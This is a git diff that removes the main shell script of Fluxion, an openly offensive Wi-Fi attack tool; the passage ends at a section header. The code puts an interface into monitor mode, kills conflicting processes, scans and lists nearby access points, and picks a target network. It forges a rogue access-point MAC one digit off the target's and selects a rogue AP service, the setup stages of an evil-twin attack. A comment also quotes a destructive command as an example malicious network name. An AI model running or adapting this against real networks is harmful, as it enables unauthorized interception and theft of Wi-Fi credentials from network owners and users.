diff --git a/fluxion.sh b/fluxion.sh deleted file mode 100755 index dc73f09..0000000 --- a/fluxion.sh +++ /dev/null @@ -1,1025 +0,0 @@ -#!/bin/bash - -################################ < FLUXION Parameters > ################################ -# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called -# directly via a symlink. Symlinks in the path to the script should work completely fine. -declare -r FLUXIONPath="$(cd "$(dirname "$0")" ;pwd -P -)" - -declare -r FLUXIONWorkspacePath="/tmp/fluxspace" -declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes" -declare -r FLUXIONScanDB="dump" - -declare -r FLUXIONNoiseFloor=-90 -declare -r FLUXIONNoiseCeiling=-60 - -declare -r FLUXIONVersion=3 -declare -r FLUXIONRevision=11 - -declare -r FLUXIONDebug=${FLUXIONDebug:+1} -declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1} -declare -r FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1} -declare -r FLUXIONAuto=${FLUXIONAuto:+1} - -# FLUXIONDebug [Normal Mode "" / Developer Mode 1] -declare -r FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null") - -declare -r FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "") - -################################# < Library Includes > ################################# -source lib/installer/InstallerUtils.sh -source lib/InterfaceUtils.sh -source lib/SandboxUtils.sh -source lib/FormatUtils.sh -source lib/ColorUtils.sh -source lib/IOUtils.sh -source lib/HashUtils.sh - -################################ < FLUXION Parameters > ################################ -FLUXIONPrompt="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr " -FLUXIONVLine="$CRed[$CSYel*$CClr$CRed]$CClr" - -################################ < Library Parameters > ################################ -InterfaceUtilsOutputDevice="$FLUXIONOutputDevice" - -SandboxWorkspacePath="$FLUXIONWorkspacePath" -SandboxOutputDevice="$FLUXIONOutputDevice" - -InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath" -InstallerUtilsOutputDevice="$FLUXIONOutputDevice" -InstallerUtilsNoticeMark="$FLUXIONVLine" - -PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" - -IOUtilsHeader="fluxion_header" -IOUtilsQueryMark="$FLUXIONVLine" -IOUtilsPrompt="$FLUXIONPrompt" - -HashOutputDevice="$FLUXIONOutputDevice" - -################################# < Super User Check > ################################# -if [ $EUID -ne 0 ]; then - echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr" - exit 1 -fi - -################################### < XTerm Checks > ################################### -if [ ! "${DISPLAY:-}" ]; then - echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr" - exit 2 -fi - -if ! hash xdpyinfo 2>/dev/null; then - echo -e "${CRed}xdpyinfo not installed, please install the relevant package for your distribution.$CClr" - exit 3 -fi - -if ! xdpyinfo &>/dev/null; then - echo -e "${CRed}The script failed to initialize an xterm test session.$CClr" - exit 3 -fi - -################################# < Default Language > ################################# -source language/en.sh - -################################# < User Preferences > ################################# -if [ -x "$FLUXIONPath/preferences.sh" ]; then source "$FLUXIONPath/preferences.sh"; fi - -######################################################################################## -function fluxion_exitmode() { - if [ $FLUXIONDebug ]; then return 1; fi - - fluxion_header - - echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr" - - # List currently running processes which we might have to kill before exiting. - local processes - readarray processes < <(ps -A) - - # Currently, fluxion is only responsible for killing airodump-ng, because - # fluxion explicitly it uses it to scan for candidate target access points. - # NOTICE: Processes started by subscripts, such as an attack script, - # MUST BE TERMINATED BY THAT SAME SCRIPT in the subscript's abort handler. - local targets=("airodump-ng") - - local targetID # Program identifier/title - for targetID in "${targets[@]}"; do - # Get PIDs of all programs matching targetPID - local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}') - if [ ! "$targetPID" ]; then continue; fi - echo -e "$CWht[$CRed-$CWht] $(io_dynamic_output $FLUXIONKillingProcessNotice)" - killall $targetPID &>$FLUXIONOutputDevice - done - - # If the installer activated the package manager, make sure to undo any changes. - if [ "$PackageManagerCLT" ]; then - echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr" - unprep_package_manager - fi - - if [ "$WIMonitor" ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr" - if [ "$FLUXIONAirmonNG" ]; then airmon-ng stop "$WIMonitor" &>$FLUXIONOutputDevice - else interface_set_mode "$WIMonitor" "managed" - fi - fi - - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr" - tput cnorm - - if [ ! $FLUXIONDebug ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr" - sandbox_remove_workfile "$FLUXIONWorkspacePath/*" - fi - - if [ $FLUXIONWIKillProcesses ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr" - - # systemctl check - systemd=$(whereis systemctl) - if [ "$systemd" = "" ]; then - service network-manager restart &>$FLUXIONOutputDevice & - service networkmanager restart &>$FLUXIONOutputDevice & - service networking restart &>$FLUXIONOutputDevice & - else - systemctl restart NetworkManager &>$FLUXIONOutputDevice & - fi - fi - - echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr" - echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr" - - sleep 3 - - clear - - exit 0 -} - -# Delete log only in Normal Mode ! -function fluxion_conditional_clear() { - # Clear iff we're not in debug mode - if [ ! $FLUXIONDebug ]; then clear; fi -} - -function fluxion_conditional_bail() { - echo ${1:-"Something went wrong, whoops! (report this)"} - sleep 5 - if [ ! $FLUXIONDebug ]; then - fluxion_handle_exit - return 1 - fi - echo "Press any key to continue execution..." - read bullshit -} - -# ERROR Report only in Developer Mode -function fluxion_error_report() { - echo "Error on line $1" -} - -if [ "$FLUXIONDebug" ]; then - trap 'fluxion_error_report $LINENUM' ERR -fi - -function fluxion_handle_abort_attack() { - if [ $(type -t stop_attack) ]; then - stop_attack &>$FLUXIONOutputDevice - unprep_attack &>$FLUXIONOutputDevice - else - echo "Attack undefined, can't stop anything..." >$FLUXIONOutputDevice - fi -} - -# In case an abort signal is received, -# abort any attacks currently running. -trap fluxion_handle_abort_attack SIGABRT - -function fluxion_handle_exit() { - fluxion_handle_abort_attack - fluxion_exitmode - exit 1 -} - -# In case of unexpected termination, run fluxion_exitmode -# to execute cleanup and reset commands. -trap fluxion_handle_exit SIGINT SIGHUP - -function fluxion_header() { - format_apply_autosize "[%*s]\n" - local verticalBorder=$FormatApplyAutosize - - format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n" - local headerTextFormat="$FormatApplyAutosize" - - fluxion_conditional_clear - - echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")" - printf "$CSRed$verticalBorder" "" - printf "$headerTextFormat" "" "" - printf "$CSBlu$verticalBorder" "" - echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr" - echo - echo -} - -# Create working directory -if [ ! -d "$FLUXIONWorkspacePath" ]; then - mkdir -p "$FLUXIONWorkspacePath" &>$FLUXIONOutputDevice -fi - -####################################### < Start > ###################################### -if [ ! $FLUXIONDebug ]; then - FLUXIONBanner=() - - format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐" - FLUXIONBanner+=("$FormatCenterLiterals") - format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║" - FLUXIONBanner+=("$FormatCenterLiterals") - format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜" - FLUXIONBanner+=("$FormatCenterLiterals") - format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║" - FLUXIONBanner+=("$FormatCenterLiterals") - format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘" - FLUXIONBanner+=("$FormatCenterLiterals") - format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯" - FLUXIONBanner+=("$FormatCenterLiterals") - - clear - - if [ "$FLUXIONAuto" ]; then echo -e "$CBlu" - else echo -e "$CRed" - fi - - for line in "${FLUXIONBanner[@]}"; do - echo "$line" - sleep 0.05 - done - #echo "${FLUXIONBanner[@]}" - echo - - sleep 0.1 - format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision; then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$(dirname "$FLUXIONPath")" - fi - - echo - - FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc") - FLUXIONCLIToolsMissing=() - - while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]; do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@] - done -fi - -#################################### < Resolution > #################################### -function fluxion_set_resolution() { # Windows + Resolution - # Calc options - RATIO=4 - - # Get demensions - SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(") - SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}')) - SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) - - PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) - NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$RATIO}")/1 | bc) - NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$RATIO}")/1 | bc) - - NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc) - NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc) - - SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2))) - SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2))) - - # Upper - TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0" - TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0" - TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0" - - # Lower - BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0" - BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0" - BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0" - - # Y mid - LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y" - RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y" - - # Big - TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" - TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" -} - -##################################### < Language > ##################################### -function fluxion_set_language() { - if [ "$FLUXIONAuto" ]; then - FLUXIONLanguage="en" - else - # Get all languages available. - local languageCodes - readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//') - - local languages - readarray -t languages < <(head -n 3 language/*.sh | grep -E "^# native: " | sed -E 's/# \w+: //') - - io_query_format_fields "$FLUXIONVLine Select your language" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" languageCodes[@] languages[@] - - FLUXIONLanguage=${IOQueryFormatFields[0]} - - echo # Leave this spacer. - - # Check if all language files are present for the selected language. - find -type d -name language | while read language_dir; do - if [ ! -e "$language_dir/${FLUXIONLanguage}.sh" ]; then - echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:" - echo -e "\t$language_dir/${FLUXIONLanguage}.sh" - return 1 - fi - done - - # If a file is missing, fall back to english. - if [ $? -eq 1 ]; then - echo -e "\n\n$FLUXIONVLine Falling back to English..." - sleep 5 - FLUXIONLanguage="en" - return 1 - fi - - source "$FLUXIONPath/language/$FLUXIONLanguage.sh" - fi -} - -#################################### < Interfaces > #################################### -function fluxion_unset_interface() { - # Unblock interfaces to make them available. - echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice" - rfkill unblock all &>$FLUXIONOutputDevice - - # Find all monitor-mode interfaces & all AP interfaces. - echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice" - local wiMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}')) - - # Remove all monitor-mode & all AP interfaces. - echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice" - if [ ${#wiMonitors[@]} -gt 0 ]; then - local monitor - for monitor in ${wiMonitors[@]}; do - # Remove any previously created fluxion AP interfaces. - #iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice - - # Remove monitoring interface after AP interface. - if [[ "$monitor" == *"mon" ]]; then airmon-ng stop "$monitor" >$FLUXIONOutputDevice - else interface_set_mode "$monitor" "managed" - fi - - if [ $FLUXIONDebug ]; then - echo -e "Stopped $monitor." - fi - done - fi - - WIMonitor="" -} - -# Choose Interface -function fluxion_set_interface() { - if [ "$WIMonitor" ]; then return 0; fi - - fluxion_unset_interface - - # Gather candidate interfaces. - echo -e "$FLUXIONVLine $FLUXIONFindingWINotice" - - # List of all available wireless network interfaces. - # These will be stored in our array right below. - interface_list_wireless - - local wiAlternate=("$FLUXIONGeneralRepeatOption") - local wiAlternateInfo=("") - local wiAlternateState=("") - local wiAlternateColor=("$CClr") - - interface_prompt "$FLUXIONVLine $FLUXIONInterfaceQuery" InterfaceListWireless[@] \ - wiAlternate[@] wiAlternateInfo[@] wiAlternateState[@] wiAlternateColor[@] - - local wiSelected=$InterfacePromptIfSelected - - if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]; then - fluxion_unset_interface - return 1 - fi - - if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then - echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError" - echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip" - sleep 7 - fluxion_unset_interface - return 1 - fi - - if ! fluxion_run_interface "$wiSelected"; then return 1 - fi - - WIMonitor="$FluxionRunInterface" -} - -function fluxion_run_interface() { - if [ ! "$1" ]; then return 1; fi - - local ifSelected="$1" - - if [ "$FLUXIONWIReloadDriver" ]; then - # Get selected interface's driver details/info-descriptor. - echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" - - if ! interface_driver "$ifSelected"; then - echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError" - sleep 3 - return 1 - fi - - local ifDriver="$InterfaceDriver" - - # I'm not really sure about this conditional here. - # FLUXION 2 had the conditional so I kept it there. - if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then - rmmod -f $ifDriver &>$FLUXIONOutputDevice 2>&1 - - # Wait while interface becomes unavailable. - echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONUnloadingWIDriverNotice)" - while interface_physical "$ifSelected"; do sleep 1 - done - fi - fi - - if [ "$FLUXIONWIKillProcesses" ]; then - # Get list of potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice" - # This shit has to go reeeeeal soon (airmon-ng)... - local conflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}')) - - # Kill potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" - for program in "${conflictPrograms[@]}"; do killall "$program" &>$FLUXIONOutputDevice - done - fi - - if [ "$FLUXIONWIReloadDriver" ]; then - # I'm not really sure about this conditional here. - # FLUXION 2 had the conditional so I kept it there. - if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then modprobe "$ifDriver" &>$FLUXIONOutputDevice 2>&1 - fi - - # Wait while interface becomes available. - echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONLoadingWIDriverNotice)" - while ! interface_physical "$ifSelected"; do sleep 1 - done - fi - - # Activate wireless interface monitor mode and save identifier. - echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" - if [ "$FLUXIONAirmonNG" ]; then - # TODO: Need to check weather switching to monitor mode below failed. - # Notice: Line below could cause issues with different airmon versions. - FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null) - else - if interface_set_mode "$ifSelected" "monitor"; then FluxionRunInterface=$ifSelected - else FluxionRunInterface="" - fi - fi - - if [ "$FluxionRunInterface" ]; then - echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice" - sleep 3 - else - echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError" - sleep 3 - return 2 - fi -} - -###################################### < Scanner > ##################################### -function fluxion_set_scanner() { - # If scanner's already been set and globals are ready, we'll skip setup. - if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ - "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then - return 0 - fi - - if [ "$FLUXIONAuto" ]; then - fluxion_run_scanner $WIMonitor - else - local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption") - io_query_choice "$FLUXIONScannerChannelQuery" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg" ;; - "$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;; - "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;; - "$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;; - "$FLUXIONGeneralBackOption") - fluxion_unset_interface - return 1 - ;; - esac - fi - - if [ $? -ne 0 ]; then return 1; fi -} - -function fluxion_set_scanner_channel() { - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery" - echo - echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr " - echo - echo -ne "$FLUXIONPrompt" - - local channels - read channels - - echo - - fluxion_run_scanner $WIMonitor $channels - if [ $? -ne 0 ]; then return 1; fi -} - -# Parameters: monitor [ channel(s) [ band(s) ] ] -function fluxion_run_scanner() { - if [ ${#@} -lt 1 ]; then return 1; fi - - echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" - echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" - - # Remove any pre-existing scanner results. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - - if [ "$FLUXIONAuto" ]; then - sleep 30 && killall xterm & - fi - - # Begin scanner and output all results to "dump-01.csv." - if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then - echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError" - sleep 5 - return 1 - fi - - # Fix this below, creating subshells for something like this is somewhat ridiculous. - local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) - local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) - - if [ ! "$scannerResultsReadable" ]; then - if [ "$scannerResultsExist" ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - fi - - local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption") - io_query_choice "$FLUXIONScannerFailedNotice" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONGeneralBackOption") return 1 ;; - "$FLUXIONGeneralExitOption") - fluxion_exitmode - return 2 - ;; - esac - fi - - # Syntheize scan operation results from output file "dump-01.csv." - echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice" - # Unfortunately, mawk (alias awk) does not support the {n} times matching operator. - # readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") - # readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") - - # Cleanup the workspace to prevent potential bugs/conflicts. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - - if [ ${#TargetAPCandidates[@]} -eq 0 ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - - echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" - sleep 3 - return 1 - fi -} - -###################################### < Target > ###################################### -function fluxion_unset_target_ap() { - APTargetSSID="" - APTargetChannel="" - APTargetEncryption="" - APTargetMAC="" - APTargetMakerID="" - APTargetMaker="" - APRogueMAC="" -} - -function fluxion_set_target_ap() { - if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ - "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then - return 0 - fi - - fluxion_unset_target_ap - - local TargetAPCandidatesMAC=() - local TargetAPCandidatesClientsCount=() - local TargetAPCandidatesChannel=() - local TargetAPCandidatesSecurity=() - local TargetAPCandidatesSignal=() - local TargetAPCandidatesPower=() - local TargetAPCandidatesESSID=() - local TargetAPCandidatesColor=() - - for candidateAPInfo in "${TargetAPCandidates[@]}"; do - candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g") - - local i=${#TargetAPCandidatesMAC[@]} - - TargetAPCandidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1) - TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}") - TargetAPCandidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4) - TargetAPCandidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6) - TargetAPCandidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9) - TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr) - - # Parse any non-ascii characters by letting bash handle them. - # Just escape all single quotes in ESSID and let bash's $'...' handle it. - local sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14) - TargetAPCandidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") - - local power=${TargetAPCandidatesPower[i]} - if [ $power -eq -1 ]; then - # airodump-ng's man page says -1 means unsupported value. - TargetAPCandidatesQuality[i]="??" - elif [ $power -le $FLUXIONNoiseFloor ]; then - TargetAPCandidatesQuality[i]=0 - elif [ $power -gt $FLUXIONNoiseCeiling ]; then - TargetAPCandidatesQuality[i]=100 - else - # Bash doesn't support floating point division, so I gotta work around it... - # The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling. - TargetAPCandidatesQuality[i]=$(((${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10))) - fi - done - - local headerTitle=$( - format_center_literals "WIFI LIST" - echo -n "$FormatCenterLiterals\n\n" - ) - - format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" - local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID") - - format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n" - io_query_format_fields "$headerTitle$headerFields" "$FormatApplyAutosize" \ - TargetAPCandidatesColor[@] \ - TargetAPCandidatesESSID[@] \ - TargetAPCandidatesQuality[@] \ - TargetAPCandidatesPower[@] \ - TargetAPCandidatesClientsCount[@] \ - TargetAPCandidatesChannel[@] \ - TargetAPCandidatesSecurity[@] \ - TargetAPCandidatesMAC[@] - - echo - - APTargetSSID=${IOQueryFormatFields[1]} - APTargetChannel=${IOQueryFormatFields[5]} - APTargetEncryption=${IOQueryFormatFields[6]} - APTargetMAC=${IOQueryFormatFields[7]} - APTargetMakerID=${APTargetMAC:0:8} - APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,} | cut -d ' ' -f 5-) - - # Sanitize network ESSID to normalize it and make it safe for manipulation. - # Notice: Why remove these? Because some smartass might decide to name their - # network something like "; rm -rf / ;". If the string isn't sanitized accidentally - # shit'll hit the fan and we'll have an extremely distressed person subit an issue. - # Removing: ' ', '/', '.', '~', '\' - APTargetSSIDClean=$(echo "$APTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g') - - # We'll change a single hex digit from the target AP's MAC address. - # This new MAC address will be used as the rogue AP's MAC address. - local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1))) - APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}" -} - -function fluxion_show_ap_info() { - format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n" - - local colorlessFormat="$FormatApplyAutosize" - local colorfullFormat=$(echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g') - - printf "$colorlessFormat" "" "ESSID" "\"$APTargetSSID\" / $APTargetEncryption" "" - printf "$colorlessFormat" "" "Channel" "$APTargetChannel" "" - printf "$colorfullFormat" "" "BSSID" "$APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)" "" - - echo -} - -#################################### < AP Service > #################################### -function fluxion_unset_ap_service() { - APRogueService="" -} - -function fluxion_set_ap_service() { - if [ "$APRogueService" ]; then return 0; fi - - fluxion_unset_ap_service - - if [ "$FLUXIONAuto" ]; then - APRogueService="hostapd" - else - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery" - echo - - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - - local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;; - "$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;; - "$FLUXIONGeneralBackOption") - fluxion_unset_ap_service - return 1 - ;; - *) - fluxion_conditional_bail - return 1 - ;; - esac - fi - - # AP Service: Load the service's helper routines. - source "lib/ap/$APRogueService.sh" -} - -###################################### < Hashes > ###################################### 